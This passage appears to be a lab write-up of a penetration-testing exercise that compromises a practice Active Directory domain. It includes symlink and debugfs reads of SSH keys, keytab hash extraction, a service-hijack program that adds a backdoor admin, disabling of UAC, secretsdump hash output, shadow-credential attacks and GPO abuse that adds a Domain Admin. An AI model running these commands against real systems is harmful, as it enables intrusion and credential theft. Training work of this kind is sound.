Looking at the backup log file, we find that we can actually **read** this file. The script is catting out our config file and appending it to the log file.

Note that we can also WRITE into the source dir, which root is running `zip ` against.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-66.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=ae9282245de4f84a71d20689cbac6a0c)

There are a lot of juicy things we could go after, but to start I'm going to attempt to get an SSH key in the logs. To do this, we can create the expected `backup_config` file in phil's directory to be a **symlink** to the target file. In this case, we want the target file to be root's SSH key.

```text theme={null}
ln -sf /root/.ssh/id_rsa /home/phil/backup_staging/backup_config
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-69.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=a58f39bfed5154a65c508655714f8839)

Strangely though, when we look into the logs, we see that there is no backup file to be found.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-70.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=365b2649f7345a7caf0b5fdea285f42c)

While I'm not entirely sure why this is, we can assume that it may be a permission error, so shat if instead of going for root, we go for a different user? What about john's SSH key? Following the same steps as before:

```text theme={null}
ln -s /home/john/.ssh/id_rsa /home/phil/backup_staging/backup_config
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-71.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=1e7a086dc6e03bcfb74605976c8a0279)

Nice! This one comes through as we originally anticipated after a few minutes!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-72.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=be93dc49ae8d6261c162ee694f88399d)

## Privilege Escalation: John → Root

We are now john on web-01!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-73.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=27879ee63ffeb7672c76cb57fd09cdab)

Immediately, we see that we are a part of the [disk group](https://www.hackingarticles.in/disk-group-privilege-escalation/).

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-74.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=3c6f87df94c10ef530b0c6eab7bb5e7d)

This is a big find because it means that read restricted files, such as `/etc/shadow `or `/root/.ssh/id_rsa` . First, we need to find the root partition with `df -h`

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-75.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=5a22989d8fa61b96611a83116df9d43d)

From there, we can use debugfs to simply read out the root ssh key!

```text theme={null}
debugfs -R "cat /root/.ssh/id_rsa" /dev/nvme0n1p2
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-76.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=40ee21205d48a5f82d428dc9dd046da1)

## Root on WEB01

Hooray! We're root! But now what?

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-77.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=46c2ff48da50b55229f4913e5a7fdadd)

Well we still have two other workstations to compromise, a windows joined workstation as well as a domain controller, so we're not close to done quite yet.

Something we didn't know before based on our enumeration (but makes sense) is that this linux machine is actually domain joined as well. Listing out the kerberos realms we find that we have some configuration here.

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-78.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=74c2144cb6d81052feaa98e24a0e85f5)

This config continues in the kerberos configuration file (`/etc/krb5.conf)` , where we find an internal host and KDC server at `172.16.11.140`

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-79.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=8359e3b41ade79230a31bd61fcc79c36)

We also have other kerberos files, as keytab and a conf directory:

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-80.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=e4b03cc1ace339046511033dc7c4ee0f)

In the directory, there is another configuration which points to `/var/lib/sss/pubconf/krb5.include.d` , though I can't say there is anything too interesting here.

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-82.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=efaf2cd874111a9810dfc1f3990ffceb)

In the [kerberos keytab](https://www.ibm.com/docs/en/netezza?topic=authentication-kerberos-keytab-file), it is just giberish:

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-83.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=4f34b8868f50b292e649c2d488d68046)

This is because a keberos keytab file is a secure file that stores pairs of Kerberos principal names and their encrypted secret keys (derived from a password). We can kind of make out a username from our keytab file here, that being `svc_web` , but how can we use this file?

We can use `klist` to look at the file closer:

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-84.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=b82deb6c86488ec69d34d490944ca625)

Seeing a deprecated encryption here is a good sign for us! This means we can actually take the keytab file from the linux machine and derive an NT hash from it! To do this we can either use impacket on our kali machine OR use the already installed `ktutil` on the compromised linux box. I will choose to simply use the already installed `ktutil`:

```text theme={null}
ktutil
ktutil:  read_kt /etc/krb5.keytab
ktutil:  list -k

slot KVNO Principal
---- ---- ---------------------------------------------------------------------
   1    1                        svc_web@CTOS.CORP (0x3a3e495ba09ca005f4cf42763273fab2a4a3d4e4f8fd63716c70a67d5cda6ab6)
   2    1                        svc_web@CTOS.CORP (0x4990037026cbac870ac3d7b5635bfb46)
   3    1                        svc_web@CTOS.CORP (0x<HASH>)
```

The output we see for the **arcfour-hmac** entry is the NT hash, because the RC4 key in Kerberos is identical to the MD4/NTLM hash of the password!

# Lateral Movement: svc\_web → IT-WS01

Testing this hash, we can authenticate to the domain controller!

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-89.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=c53b5434aef796fe5c5244517ada7b8f)

We also authenticate to IT-WS01. Listing out the shares we find that we have read access on IT\_Onboarding

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-90.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=6c7a68844b3f128da0a31eea367790fd)

Using netexecs `spider_plus` module we can pull down all the files from this share

```text theme={null}
nxc smb it-ws01.CTOS.CORP -u 'svc_web' -H <HASH> -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=./
```

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-91.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=bb29e8b854b35d5bd2c0b37ee0320d85)

We find a file named `SEC-POL-2026.pdf`. Opening it up, we find that we have a password policy for the domain!

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-92.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=f7e837baa0eb0e572b1183f15bb40070)

Remember, now that we are authenticated to the domain we can pull down information such as usernames!

```shellscript theme={null}
└─$ nxc ldap DC01.CTOS.CORP -u 'svc_web' -H <HASH> --users  
LDAP        10.1.22.247     389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:CTOS.CORP) (signing:None) (channel binding:Never)
LDAP        10.1.22.247     389    DC01             [+] CTOS.CORP\svc_web:<HASH>
LDAP        10.1.22.247     389    DC01             [*] Enumerated 13 domain users: CTOS.CORP
LDAP        10.1.22.247     389    DC01             -Username-                    -Last PW Set-       -BadPW-  -Description-                     
LDAP        10.1.22.247     389    DC01             Administrator                 2026-02-15 14:58:03 0        Built-in account for administering the computer/domain
LDAP        10.1.22.247     389    DC01             Guest                         <never>             0        Built-in account for guest access to the computer/domain
LDAP        10.1.22.247     389    DC01             krbtgt                        2026-02-15 15:09:12 0        Key Distribution Center Service Account
LDAP        10.1.22.247     389    DC01             j_wilson                      2026-02-15 15:14:47 0                                          
LDAP        10.1.22.247     389    DC01             l_conrad                      2026-02-15 15:14:48 0                                          
LDAP        10.1.22.247     389    DC01             m_chen                        2026-02-15 15:14:48 0                                          
LDAP        10.1.22.247     389    DC01             s_patel                       2026-02-15 15:14:48 0                                          
LDAP        10.1.22.247     389    DC01             e_rodriguez                   2026-02-15 15:14:48 0                                          
LDAP        10.1.22.247     389    DC01             d_kim                         2026-02-15 15:14:48 0                                          
LDAP        10.1.22.247     389    DC01             it_ops_lead                   2026-02-15 15:14:48 0                                          
LDAP        10.1.22.247     389    DC01             svc_web                       2026-02-15 15:14:48 0        Service account for CTOS web portal
LDAP        10.1.22.247     389    DC01             svc_backup                    2026-02-15 15:14:48 0        Service account for backup operations
LDAP        10.1.22.247     389    DC01             svc_infra_mgr                 2026-02-15 15:14:48 0        Service account for infrastructure management
```

Establishing a users list:

```text theme={null}
awk '{print $5}' nxc_output.txt > users.txt
```

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-93.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=b9b57a5d820341d8d876fbd25c21326c)

Now with this password convention, we can come up with a matching list for each of the users.

We COULD create a script to do this, but to be honest, I have an inkling based on our previous enumeration that the target here is going to be Lisa Conrad.

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-94.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=c71eb5466294c10998023ac5b26c535f)

It makes sense that the Junior IT Support makes the mistake? Always "blame the intern" or something like that. Anyways, going with my theory we can create a list of potential passwords for Lisa and spray them!

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-95.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=4c0972f1f4f01107bb75d6c117983acf)

Success! We are able to authenticate as lisa onto the domain.

Spraying our creds we find that we have winrm access as Lisa onto it-ws01!

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-96.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=259ba0f9d387a57d4fd8ef7b86f5c8a6)

We can use evil-winrm to login:

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-97.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=86ac8de44009376c6b924834816fc3e2)

# Privilege Escalation: Administrator on IT-WS01

Now that we have a user-level shell on IT-WS01, we can't do much outside of basic user functions. We need to attempt to escalate our privs, and to do this we can use an automated tool like [privesccheck](https://github.com/itm4n/PrivescCheck) to check for windows vulns and misconfigurations.

Transferring the file to the IT-WS01 machine through `evil-winrm`

```text theme={null}
upload /home/kali/HackSmarter/CTOS/PrivescCheck.ps1 PrivescCheck.ps1
```

Running the checks:

```text theme={null}
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report TXT,HTML"
```

And we found something!

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-98.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=c73352254a47b8706e883af29bd94892)

There is a service names `CTOSInventorySvc` , which is running AS system for a file that we can over write (AllAccess)!

To take advantage of this, we need to do a few things:

1. Creating a malicious file on kali that will be ran on the target machine:

```c theme={null}
//adduser.c
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user nth password123! /add");
  i = system ("net localgroup administrators nth /add");
  
  return 0;
}
```

2. Compiling the file on kali into an executable:

```shellscript theme={null}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
```

3. Upload the file via `evil-winrm` and rename it to the filepath the service is expecting. In our case, it is `CTOSInventorySvc.exe` .
   1. *Note: make sure to make a backup of the original exe!*

```text theme={null}

upload /home/kali/HackSmarter/CTOS/adduser.exe adduser.exe

move CTOSInventorySvc.exe CTOSInventorySvc.exe.bak
move adduser.exe CTOSInventorySvc.exe 
```

![Image](https://mintcdn.com/nthsec/FYC2MiK5YedRtifg/images/image-99.png?fit=max\&auto=format\&n=FYC2MiK5YedRtifg\&q=85\&s=85ed32fb4e7b27be175fc859f1b6c080)

And after a minute of waiting we see our backdoor user was added!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-100.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=35c7dac03f5b0d633c2a7a5f938c0c0c)

We can confirm this with nxc!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-101.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=3667d62d9219be1230b75c9db170cbe0)

# Pivoting from IT-WS01 to DC01

With our newfound admin account, we can RDP in and start poking around as an administrator on the machine.

First things first, I'm going to disable AV and UAC to make it a lot easier for us to dump secrets on the machine. The hope is that by dumping secrets we may find some domain joined accounts that left traces of their hash or plaintext creds we could use to pivot to the domain controller.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-102.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=d7d5338f8450864c1bbf9e4bfb3063b2)

Disabling UAC which will allow us to run secretsdump remotely:

```shellscript theme={null}
New-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "LocalAccountTokenFilterPolicy" -Value 1 -PropertyType DWord -Force
```

```shellscript theme={null}
┌──(kali㉿kali)-[~/HackSmarter/CTOS]
└─$ impacket-secretsdump nth:'password123!'@10.1.149.204
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3ffca907a6e9e3fe83e31ffaae199c22
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:35e8fc423f8cbfbc56c4384cfabd89cf:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:5a7f4a13758e64b13eff45013152c4a7:::
nth:1000:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
CTOS\IT-WS01$:aes256-cts-hmac-sha1-96:3c22f54035db5b2a7ac2614dadb85c4b7039f36e8aea7d7c152f433aa2a22e0e
CTOS\IT-WS01$:aes128-cts-hmac-sha1-96:a2215172dc81512cf46fd70fc4fa0271
CTOS\IT-WS01$:des-cbc-md5:3d32bcceead93246
CTOS\IT-WS01$:plain_password_hex:17c9e8dbb30a98c9230ce87e6c3f3e23676cb3579f893cdda38506624ad8aa22bd48690b1aec9726d90e0bcecc45f0dd09d3ce23edcbc832f26847d29f0851b076390f528325c4a0eecca1c260d643d316f529a7db386c1598536035f9a68c7c8ecae35b4c5affaf4c67cf9dda0bbe6f3974d2561f44435582270819b6dcaf01d13913cc57509eb42fd747698c112e6f21022d9357a5bc80540c0b5db2932c515d3b198674ea507028c8416cfb97fb198c162f1a1ba141fe0bcc24c8d4c2c4a067c4c11c5f761deae256e93535dd142ba9c61ed0fa47817ac18526fc1481dd255bc2a16cb1a4ea112189ebc8c0264f05
CTOS\IT-WS01$:aad3b435b51404eeaad3b435b51404ee:c914cf6cb13312e029d723a63a3e3a8d:::
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x9bf8bbfd6aa12cf870a652eb911631a9ed3ee49a
dpapi_userkey:0xd99961601fa2f64e7566d4c2f60b838bb73908bd
[*] NL$KM 
 0000   D6 A6 AF B3 EE 10 AF 25  03 4D 37 C2 8B BD 73 9D   .......%.M7...s.
 0010   1A B7 63 B7 72 03 D5 62  5B 1F 97 62 9D 5B A6 8C   ..c.r..b[..b.[..
 0020   B0 65 57 99 B5 03 24 3F  D5 17 59 3E A2 41 2E B5   .eW...$?..Y>.A..
 0030   AF 52 E4 74 FF BC BF 2D  0F C2 24 CB F8 C9 7D AE   .R.t...-..$...}.
NL$KM:d6a6afb3ee10af25034d37c28bbd739d1ab763b77203d5625b1f97629d5ba68cb0655799b503243fd517593ea2412eb5af52e474ffbcbf2d0fc224cbf8c97dae
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
```

Unfortunately, there is interesting here, meaning we have to dig deeper! Back to the filesystem, we find a keepass DB in the administrator's documents!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-104.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=e0acd3c56392baf2c183db3296293af8)

Copying it over to our local machine and trying to open it, we find it's locked:

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-105.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=9c693b4281bd2839a90db02341ca842f)

Thankfully, we can crack the password on the DB by using John:

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-106.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=b7d8f6b67eb8702cffb4cfe6909aafec)

This password opens the DB, and through it we can find the creds for the `svc_infra_mgr`!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-107.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=b1028c62416e5dae99d790c71fae1b5e)

# Lateral Movement: svc\_infra\_mgr → it\_ops\_lead

Using these creds we can pivot to bloodhound and see this interaction:

> [!NOTE]
>
> *Note: to pull down bloodhound info we can use these newfound creds OR l\_conrad's creds using nxc:*
>
> ```shellscript theme={null}
> nxc ldap DC01.CTOS.CORP -u 'user' -p 'password' --bloodhound -c all
> ```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-108.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=4795c55704480779f6bb2b24aed6fcea)

This means we can perform a targeted kerberoast OR a shadow creds attack. I will elect to use [bloodyAD](https://github.com/CravateRouge/bloodyAD) to perform a shadow creds attack, but it was throwing an error:

```text theme={null}
bloodyad --host 10.1.22.247 -d CTOS.CORP -u 'svc_infra_mgr' -p 'PASSWORD' add shadowCredentials it_ops_lead
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-109.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=a9b878dfff3c724e52882025ce14670f)

And today I learned that you could also perform this attack with [certipy](https://github.com/ly4k/Certipy)!

```text theme={null}
certipy-ad shadow auto -u "svc_infra_mgr@CTOS.CORP" -p 'Infr@Mgmt2026!Secure' -target DC01.CTOS.CORP -account "it_ops_lead" -dc-ip 10.1.22.247
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-110.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=eb801d3ab8be84e7879527888f88c428)

# Final Privilege Escalation: Compromising the Domain Policy

Now that we have the `it_ops_lead` account compromised, we can go back to bloodhound and see that they have the ability to add members to the policy automation group.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-111.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=4a83b5c404c7cf81d4e037648f03aeae)

From here, the policy automation grtoup has the ability to write policies over the default domain controllers policy. This means that we can grant ourselves any permissions over the default domain controllers policy object, and furthermore use this permission to create policies across the domain, including scripts / automations!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-112.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=499784d84f1ea38ca1913098aa3996b8)

So how do we do it?

### Traditional Method -- Manual Insertion of Startup Script

1. Add ourselves to the policy automation group. We can do this with `bloodyad `
   ```text theme={null}
   bloodyad --host DC01.CTOS.CORP -d CTOS.CORP --dc-ip 10.1.22.247 -u 'it_ops_lead' -p :<HASH> add groupMember 'Policy_Automation_Group' 'it_ops_lead'
   ```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-113.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=dd79b9ecbd71861db5e350e770ff8db9)

2. Give our user `GenericAll `over the GPO

```text theme={null}
bloodyad --host DC01.CTOS.CORP -d CTOS.CORP --dc-ip 10.1.22.247 -u 'it_ops_lead' -p :<HASH> add genericAll 'CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=CTOS,DC=CORP' it_ops_lead
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-114.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=fea041cfe688d27fd5aeac9f5e6d3358)

3. Find out where the GPO is being stored:
   ```text theme={null}
   bloodyad --host DC01.CTOS.CORP -d CTOS.CORP --dc-ip 10.1.22.247 -u 'it_ops_lead' -p :<HASH> get Object 'CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=CTOS,DC=CORP' --attr gPCFileSysPath

   ```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-115.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=aa94da1ecb80ba632f3d84d1e1b1722f)

4. Create a scheduled task script to be ran, in our case it will be `startup.bat`
   ```text theme={null}
   net user nth ComplexPassword123! /add /domain
   net group "Domain Admins" nth /add /domain
   ```

5. Establish a connection with the GPO via smbclient and put our startup script:

```text theme={null}
impacket-smbclient 'CTOS.CORP'/'it_ops_lead'@10.1.22.247 -hashes :<HASH>
# use SYSVOL
# cd CTOS.CORP\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
# mkdir Scripts
# mkdir Scripts\Startup
# cd Scripts\Startup
# put startup.bat
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-116.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=aa44687378a3e46484b6b04bebb430e6)

6. The DC doesn't know that we made a change to the GPO, so we have to modify the versionNumber attribute of the GPO so the DC pulls the update. (*Note: If we had a shell on the system we could also run gpupdate /force)*
   ```text theme={null}
   # 1. View the current version number
   bloodyad --host DC01.CTOS.CORP -d CTOS.CORP --dc-ip 10.1.22.247 -u 'it_ops_lead' -p :fd8bd0720fec58d0b5005257dd9f3723 get object 'CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=CTOS,DC=CORP' --attr versionNumber 

   # 2. Set it to a higher value (e.g., if it was 5, change it to 6 or higher)
   bloodyad --host DC01.CTOS.CORP -d CTOS.CORP --dc-ip 10.1.22.247 -u 'it_ops_lead' -p :<HASH> set object 'CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=CTOS,DC=CORP' versionNumber -v 2
   ```
   ![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-117.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=243ec473a7e8bb60c6092a2766b5a0d8)

Once the GPO version is updated, the Domain Controllers will automatically process the policy and execute your script during the next Group Policy background refresh cycle (typically every 5 minutes for Domain Controllers)

### Simplified Method  -- pygpoabuse

If you don't want to go through all that hassle (sorry if you just went through all that hassle :D), we can use a tool that does it automatically for us! Bloodhound suggests using [pygpoabuse.py](https://github.com/Hackndo/pyGPOAbuse)

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-118.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=6a917ba6d039fafefb197a00bef35288)

The syntax is like so:

```shellscript wrap theme={null}
python3 pygpoabuse.py CTOS.CORP/it_ops_lead -hashes ':<HASH>' 
-gpo-id '6AC1786C-016F-11D2-945F-00C04FB984F9' 
-command 'net user nth Password123! /add && net group "Domain Admins" nth /add' 
-taskname 'CTOS Monthly UpdateTask' 
-description 'Monthly update for CTOS internal frameworks and packages'
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-119.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=9c6ae646f2bc1420b285fa82402e659e)

Our task gets successfully added, and after about 5 minutes, we can test to see if our `nth` user was added:

```text theme={null}
nxc smb dc01.ctos.corp -u nth -p 'Password123!'
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-120.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=5fb35a21ccb9d140d7c4c6e6eb6358e3)

Success! Now with domain admin permissions on the domain controller we can dump secrets to obtain the krbtgt hash:

```text theme={null}
impacket-secretsdump DC01.CTOS.CORP/nth:'Password123!'@10.1.22.247
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-121.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=6714703560765774ecd255fabbab0689)

And that's the lab! This one was quite the doozy, and I learned a ton, especially with the pickle deserialization foothold and the final privilege escalation through the domain controller policy, as I had never done either technique before!


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.